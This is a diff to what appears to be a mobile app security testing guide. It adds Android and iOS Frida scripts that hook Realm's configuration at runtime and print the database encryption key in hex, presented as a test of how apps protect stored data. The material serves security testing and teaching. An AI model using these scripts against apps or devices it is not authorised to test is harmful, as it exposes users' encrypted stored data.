diff --git a/Document/0x05d-Testing-Data-Storage.md b/Document/0x05d-Testing-Data-Storage.md index 69238899d8..9dd0ade323 100644 --- a/Document/0x05d-Testing-Data-Storage.md +++ b/Document/0x05d-Testing-Data-Storage.md @@ -176,7 +176,69 @@ Realm realm = Realm.getInstance(config); ``` -If the database _is not_ encrypted, you should be able to obtain the data. If the database _is_ encrypted, determine whether the key is hard-coded in the source or resources and whether it is stored unprotected in shared preferences or some other location. +Access to the data depends on the encryption: unencrypted databases are easily accessible, while encrypted ones require investigation into how the key is managed - whether it's hardcoded or stored unencrypted in an insecure location such as shared preferences, or securely in the platform's KeyStore (which is best practice). + +However, if an attacker has sufficient access to the device (e.g. root access) or can repackage the app, they can still retrieve encryption keys at runtime using tools like Frida. The following Frida script demonstrates how to intercept the Realm encryption key and access the contents of the encrypted database. + +```javascript + +'use strict'; + +function modulus(x, n){ + return ((x % n) + n) % n; +} + +function bytesToHex(bytes) { + for (var hex = [], i = 0; i < bytes.length; i++) { hex.push(((bytes[i] >>> 4) & 0xF).toString(16).toUpperCase()); + hex.push((bytes[i] & 0xF).toString(16).toUpperCase()); + } + return hex.join(""); +} + +function b2s(array) { + var result = ""; + for (var i = 0; i < array.length; i++) { + result += String.fromCharCode(modulus(array[i], 256)); + } + return result; +} + +// Main Modulus and function. + +if(Java.available){ + console.log("Java is available"); + console.log("[+] Android Device.. Hooking Realm Configuration."); + + Java.perform(function(){ + var RealmConfiguration = Java.use('io.realm.RealmConfiguration'); + if(RealmConfiguration){ + console.log("[++] Realm Configuration is available"); + Java.choose("io.realm.Realm", { + onMatch: function(instance) + { + console.log("[==] Opened Realm Database...Obtaining the key...") + console.log(instance); + console.log(instance.getPath()); + console.log(instance.getVersion()); + var encryption_key = instance.getConfiguration().getEncryptionKey(); + console.log(encryption_key); + console.log("Length of the key: " + encryption_key.length); + console.log("Decryption Key:", bytesToHex(encryption_key)); + + }, + onComplete: function(instance){ + RealmConfiguration.$init.overload('java.io.File', 'java.lang.String', '[B', 'long', 'io.realm.RealmMigration', 'boolean', 'io.realm.internal.OsRealmConfig$Durability', 'io.realm.internal.RealmProxyMediator', 'io.realm.rx.RxObservableFactory', 'io.realm.coroutines.FlowFactory', 'io.realm.Realm$Transaction', 'boolean', 'io.realm.CompactOnLaunchCallback', 'boolean', 'long', 'boolean', 'boolean').implementation = function(arg1) + { + console.log("[==] Realm onComplete Finished..") + + } + } + + }); + } + }); +} +``` ### Internal Storage diff --git a/Document/0x06d-Testing-Data-Storage.md b/Document/0x06d-Testing-Data-Storage.md index 5ab474c00f..76c05d2497 100644 --- a/Document/0x06d-Testing-Data-Storage.md +++ b/Document/0x06d-Testing-Data-Storage.md @@ -95,6 +95,50 @@ do { } ``` +Access to the data depends on the encryption: unencrypted databases are easily accessible, while encrypted ones require investigation into how the key is managed - whether it's hardcoded or stored unencrypted in an insecure location such as shared preferences, or securely in the platform's KeyStore (which is best practice). +However, if an attacker has sufficient access to the device (e.g. jailbroken access) or can repackage the app, they can still retrieve encryption keys at runtime using tools like Frida. The following Frida script demonstrates how to intercept the Realm encryption key and access the contents of the encrypted database. + +```javascript +function nsdataToHex(data) { + var hexStr = ''; + for (var i = 0; i < data.length(); i++) { + var byte = Memory.readU8(data.bytes().add(i)); + hexStr += ('0' + (byte & 0xFF).toString(16)).slice(-2); + } + return hexStr; +} + +function HookRealm() { + if (ObjC.available) { + console.log("ObjC is available. Attempting to intercept Realm classes..."); + const RLMRealmConfiguration = ObjC.classes.RLMRealmConfiguration; + Interceptor.attach(ObjC.classes.RLMRealmConfiguration['- setEncryptionKey:'].implementation, { + onEnter: function(args) { + var encryptionKeyData = new ObjC.Object(args[2]); + console.log(`Encryption Key Length: ${encryptionKeyData.length()}`); + // Hexdump the encryption key + var encryptionKeyBytes = encryptionKeyData.bytes(); + console.log(hexdump(encryptionKeyBytes, { + offset: 0, + length: encryptionKeyData.length(), + header: true, + ansi: true + })); + + // Convert the encryption key bytes to a hex string + var encryptionKeyHex = nsdataToHex(encryptionKeyData); + console.log(`Encryption Key Hex: ${encryptionKeyHex}`); + }, + onLeave: function(retval) { + console.log('Leaving RLMRealmConfiguration.- setEncryptionKey:'); + } + }); + + } + +} +``` + #### Couchbase Lite Databases [Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios "Couchbase Lite") is a lightweight, embedded, document-oriented (NoSQL) database engine that can be synced. It compiles natively for iOS and macOS.